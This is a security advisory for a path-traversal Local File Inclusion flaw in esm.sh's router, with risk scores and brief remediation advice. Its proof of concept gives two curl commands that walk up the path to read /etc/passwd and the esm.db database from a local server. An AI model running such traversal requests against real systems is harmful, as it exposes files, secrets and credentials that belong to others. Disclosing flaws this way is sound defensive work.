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GHSA-49pv-gwxp-532r

HighCVSS 7.7 / 10
Published Sep 17, 2025·Last modified Sep 26, 2025
Affected Components(0)

No affected components available

Description

Summary

A Local File Inclusion (LFI) issue was identified in the esm.sh service URL handling. An attacker could craft a request that causes the server to read and return files from the host filesystem (or other unintended file sources).

Severity: High — LFI can expose secrets, configuration files, credentials, or enable further compromise. Impact: reading configuration files, private keys, environment files, or other sensitive files; disclosure of secrets or credentials; information leakage that could enable further attacks.

Vulnerable code snippet is in this file: https://github.com/esm-dev/esm.sh/blob/c62f191d32639314ff0525d1c3c0e19ea2b16143/server/router.go#L1168

Proof of Concept

  1. Using this default config file that I copy from the repo, the server is running at http://localhost:9999 with this command go run server/esmd/main.go --config=config.json
{
  "port": 9999,
  "npmRegistry": "https://registry.npmjs.org/",
  "npmToken": "******"
}
  1. Trigger the LFI vulnerability by sending this command below to read a local file
# read /etc/passwd
curl --path-as-is 'http://localhost:9999/pr/x/y@99/../../../../../../../../../../etc/passwd?raw=1&module=1'

# or read the database esm.db file
curl --path-as-is 'http://localhost:9999/pr/x/y@99/../../../../../../../esm.db?raw=1&module=1'
<img width="3338" height="1906" alt="poc-image" src="https://github.com/user-attachments/assets/f3721e5d-a09c-4227-960a-35279ff52811" />

Remediation

Simply remove any .. in the URL path before actually process the file. See more details in this guide

Credits

Risk Scores
Base Score
7.7

The vulnerability can be exploited over the network without needing physical access. It is easy for an attacker to exploit this vulnerability. An attacker does not need any special privileges or access rights. No user interaction is needed for the attacker to exploit this vulnerability.

Threat Intelligence
6.6

Exploitation attempts have been detected. Elevated vigilance and prompt remediation are advised.

EPSS
1.53%

The exploit probability is very low. The vulnerability is unlikely to be exploited in the next 30 days.

Exploit
Not available

We did not find any exploit available. Neither in GitHub repositories nor in the Exploit-Database.

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High severity
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